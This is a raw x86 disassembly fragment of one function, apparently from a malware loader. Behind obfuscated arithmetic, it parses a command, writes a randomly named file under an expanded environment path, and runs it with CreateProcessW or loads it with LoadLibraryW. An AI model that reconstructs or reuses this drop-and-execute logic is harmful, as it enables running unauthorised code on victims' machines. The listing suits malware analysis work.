mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov ebx, dword [ebp - 0x98]
mov dword [ebx], eax
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov esi, dword [ebp - 0x94]
mov dword [esi], eax
mov eax, dword [ebx]
shl eax, 1
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 2
mov edi, ecx
and edi, 0xfffffffd
mov edx, ecx
or edx, 0xfffffffd
xor edx, 0xffffffff
imul edx, edi
mov edi, ecx
and edi, 2
or ecx, 2
imul ecx, edi
add ecx, edx
xor eax, 2
add eax, 0x85b89f9d
add eax, ecx
sub eax, 0x85b89f9d
sub esp, 4
mov dword [esp], eax
call fcn.004556d4
add esp, 4
mov ebx, dword [ebp - 0x54]
mov dword [ebx], eax
mov eax, dword [esi]
shl eax, 1
sub eax, 0xcd5e548a
add eax, 2
xor ecx, ecx
sub ecx, eax
add ecx, 0x32a1ab76
xor eax, eax
sub eax, ecx
sub esp, 4
mov dword [esp], eax
call fcn.004556d4
add esp, 4
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov esi, dword [ebp - 0x98]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x94]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
mov ebx, dword [ebp - 0x50]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 2
mov esi, dword [ebp - 0x114]
mov dword [esp + 4], esi
call fcn.0042f4e0
add esp, 8
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
call fcn.00403330
add esp, 0xc
mov dword [esp], esi
mov esi, dword [ebp - 0x18]
call fcn.0042f630
add esp, 4
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x447274
cmp dword [ecx], 2
jne 0x446b73
mov eax, dword [ebp - 0x14]
jmp 0x4468fd
mov eax, dword [eax]
lea ecx, [0x46975f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x44692b
jmp 0x446955
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x469763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
jne 0x446965
jmp 0x446957
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x44727c
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov ebx, dword [ebp - 0x4c]
mov dword [ebx], eax
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov esi, dword [ebp - 0x88]
mov dword [esi], eax
mov eax, dword [ebx]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 2
mov edx, eax
and edx, 0xfffffffd
imul edx, ecx
mov ecx, eax
and ecx, 2
or eax, 2
imul eax, ecx
add eax, edx
add eax, 0xadec7d34
add eax, 2
sub eax, 0xadec7d34
sub esp, 4
mov dword [esp], eax
call fcn.004556d4
add esp, 4
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [esi]
mov esi, edx
and esi, 0xfffffffd
mov edi, edx
xor edi, 0xffffffff
mov ecx, edi
and ecx, 0xb649c308
mov eax, edx
and eax, 0x49b63cf7
or ecx, eax
xor ecx, 0x49b63cf5
or edi, 2
xor edi, 0xffffffff
and edi, 0xffffffff
or ecx, edi
xor ecx, 0xffffffff
imul ecx, esi
mov edi, edx
add edi, 1
mov eax, edx
xor eax, 0xffffffff
or eax, 2
add eax, edi
and edx, edx
xor edx, 0xffffffff
xor edx, 0xffffffff
or edx, 2
imul edx, eax
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, ecx
add eax, edx
xor ecx, ecx
sub ecx, eax
add ecx, 2
sub esp, 4
mov dword [esp], ecx
call fcn.004556d4
add esp, 4
mov ebx, dword [ebp - 0x84]
mov dword [ebx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x3c]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x88]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 3
mov esi, dword [ebp - 0x110]
mov dword [esp + 4], esi
call fcn.0042f4e0
add esp, 8
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
call fcn.00447950
add esp, 8
mov dword [esp], esi
mov esi, dword [ebp - 0x18]
call fcn.0042f630
add esp, 4
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x447272
cmp dword [ecx], 3
jne 0x446b84
mov ecx, dword [ebp - 0x10]
jmp 0x446b7d
jmp 0x446b7f
jmp 0x44726c
mov ecx, dword [ebp - 0x10]
jmp 0x446b89
mov eax, dword [ebp - 0xc8]
cmp dword [eax], 4
sete al
test al, 1
jne 0x446b9e
jmp 0x44726a
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
lea ecx, [0x46976a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
mov esi, dword [ebp - 0x10c]
mov dword [esi], eax
mov eax, dword [ebx]
lea ecx, [0x46976c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
mov dword [esi], eax
mov eax, dword [ebx]
lea ecx, [0x46976f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
mov dword [esi], eax
mov eax, dword [ebx]
lea ecx, [0x46976a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
je 0x446c97
jmp 0x446c3c
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46976c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x446c6d
jmp 0x446c97
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46976f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
cmp eax, 0
jne 0x446ca8
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
mov esi, dword [ebp - 0x18]
jmp 0x447263
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46976a
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46976c
call fcn.004016e0
add esp, 8
fnstcw word [ebp - 0x28]
movzx eax, word [ebp - 0x28]
or eax, 0xc00
mov word [ebp - 0x72], ax
fldcw word [ebp - 0x72]
fistp dword [ebp - 0x128]
fldcw word [ebp - 0x28]
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46976f
call fcn.004016e0
add esp, 8
fnstcw word [ebp - 0x26]
movzx eax, word [ebp - 0x26]
or eax, 0xc00
mov word [ebp - 0x70], ax
fldcw word [ebp - 0x70]
fistp dword [ebp - 0x12c]
fldcw word [ebp - 0x26]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
sub esp, 0xc
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 8], 0x80
mov dword [esp + 4], 0
call fcn.00450730
mov esi, dword [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
call fcn.00450730
add esp, 0xc
mov ax, word [0x4755ba]
mov ecx, dword [ebp - 0x108]
mov word [ecx + 0xc], ax
mov eax, dword [0x4755b6]
mov dword [ecx + 8], eax
mov eax, dword [0x4755b2]
mov dword [ecx + 4], eax
mov eax, dword [0x4755ae]
mov dword [ecx], eax
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call eax
call fcn.004473d0
sub esp, 4
mov dword [esp], eax
call fcn.004559ac
add esp, 4
call fcn.004559be
mov ecx, 0xa
cdq
idiv ecx
add edx, 0xa
mov esi, dword [ebp - 0x100]
mov dword [esi], edx
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
jmp 0x446df8
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
cmp eax, dword [esi]
setl al
mov ecx, dword [ebp - 0x10]
test al, 1
jne 0x446e15
jmp 0x446e0b
jmp 0x446e0d
mov dword [ecx], 8
jmp 0x446e3f
call fcn.004559be
mov ecx, 0x18
cdq
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov word [ecx + eax*2], dx
jmp 0x446e33
mov ecx, dword [ebp - 0x34]
mov eax, dword [ecx]
sub eax, 0xffffffff
mov dword [ecx], eax
jmp 0x446df6
lea eax, [0x46813c]
sub esp, 8
mov esi, dword [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.00459115
mov dword [esp], esi
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
call fcn.00459115
add esp, 8
mov eax, dword [ebp - 0x24]
cmp dword [eax], 0
mov esi, dword [ebp - 0x18]
jne 0x446fd4
mov eax, dword [0x475654]
mov ecx, dword [ebp - 0xfc]
mov dword [ecx], eax
mov eax, dword [0x475658]
mov dword [ecx + 4], eax
mov ax, word [0x47565c]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00459115
add esp, 8
mov esi, dword [ebp - 0x20]
cmp dword [esi], 0
jne 0x446f10
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xf8]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450730
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.004556ff
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
call fcn.0042eb10
add esp, 8
mov esi, dword [ebp - 0x20]
jmp 0x446f10
cmp dword [esi], 0
jne 0x446fca
xor eax, eax
sub esp, 0xc
mov edi, dword [ebp - 0xf4]
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00450730
add esp, 0xc
mov dword [edi], 0x44
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xf0]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00450730
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi], 1
jne 0x446fd1
jmp 0x446fd1
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp dword [eax], 1
mov ecx, dword [ebp - 0x10]
jne 0x4470b3
mov ebx, esi
mov eax, dword [0x4755c6]
mov ecx, dword [ebp - 0xec]
mov dword [ecx], eax
mov eax, dword [0x4755ca]
mov dword [ecx + 4], eax
mov ax, word [0x4755ce]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00459115
add esp, 8
mov esi, dword [ebp - 0x20]
cmp dword [esi], 0
jl 0x44707d
cmp dword [esi], 1
jg 0x44707d
xor eax, eax
sub esp, 0xc
mov edi, dword [ebp - 0xe4]
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450730
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.004556ff
add esp, 4
mov dword [esp], edi
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
call fcn.0042eb10
add esp, 8
cmp dword [esi], 0
jne 0x447091
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x447093
mov eax, dword [ebp - 0x20]
cmp dword [eax], 1
sete al
test al, 1
jne 0x4470a2
jmp 0x4470a4
jmp 0x4470a4
mov eax, dword [ebp - 0x20]
cmp dword [eax], 2
jne 0x4470ae
jmp 0x4470ae
mov ecx, dword [ebp - 0x10]
mov esi, ebx
jmp 0x4470b5
mov eax, dword [ebp - 0x24]
cmp dword [eax], 2
sete al
test al, 1
jne 0x4470c7
jmp 0x44724a
mov eax, dword [0x475668]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx], eax
mov eax, dword [0x47566c]
mov dword [ecx + 4], eax
mov ax, word [0x475670]
mov word [ecx + 8], ax
sub esp, 8
mov esi, dword [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
call fcn.00459115
add esp, 8
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xdc]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450730
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.004556ff
add esp, 4
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.0042eb10
add esp, 8
lea eax, [0x475610]
sub esp, 0xc
mov ebx, dword [ebp - 0xd8]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3a
call fcn.0044fc30
sub esp, 4
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov dword [esp + 4], 0x200
mov dword [esp + 8], ebx
mov dword [esp + 0xc], esi
call fcn.00447400
add esp, 0x10
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0x7c]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00450730
add esp, 0xc
mov dword [esi], 0x44
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xd4]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00450730
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov dword [esp], 0
mov eax, dword [ebp - 0x80]
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [esi]
mov esi, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
jmp 0x44724c
mov eax, dword [ebp - 0x24]
cmp dword [eax], 3
sete al
test al, 1
jne 0x44725b
jmp 0x44725d
jmp 0x44725d
mov dword [ecx], 0
cmp dword [ecx], 0
jne 0x44727c
jmp 0x44726a
jmp 0x44726c
jmp 0x44726e
jmp 0x447270
jmp 0x447272
jmp 0x447274
jmp 0x447276
mov dword [ecx], 0
mov eax, dword [ecx]
test eax, eax
je 0x447286
jmp 0x447284
jmp 0x447288
jmp 0x447288
jmp 0x44728a
mov ecx, dword [ebp - 0x40]
mov eax, dword [ecx]
add eax, 1
mov dword [ecx], eax
jmp 0x446057
call fcn.004452e0
sub esp, 8
mov dword [esp], 1
mov esi, dword [ebp - 0x44]
mov dword [esp + 4], esi
call fcn.0042f4e0
add esp, 4
mov dword [esp], esi
call fcn.00449d20
mov dword [esp], esi
call fcn.004494a0
add esp, 4
mov esi, ebx
mov eax, dword [esi]
lea ecx, [0x469771]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.00401990
add esp, 0xc
cmp eax, 0
mov ebx, dword [ebp - 0x104]
je 0x447331
mov eax, dword [esi]
lea ecx, [0x469771]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004017f0
add esp, 8
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
cmp dword [ecx], 0
je 0x447331
sub esp, 4
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call fcn.004482c0
add esp, 4
sub esp, 4
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call fcn.0042f630
add esp, 4
mov dword [ebx], 0
mov eax, dword [esi]
lea ecx, [0x469774]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.00401990
add esp, 0xc
cmp eax, 0
je 0x44738b
mov eax, dword [esi]
lea ecx, [0x469774]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004017f0
add esp, 8
mov dword [ebx], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401b10
add esp, 4
cmp dword [ebx], 0
je 0x4473a9
jmp 0x4473a2
call fcn.00448500
jmp 0x4473a9
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x6c]
jmp 0x4473b1
mov dword [esi], 1
mov dword [eax], 1
jmp 0x4473bf
mov eax, dword [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret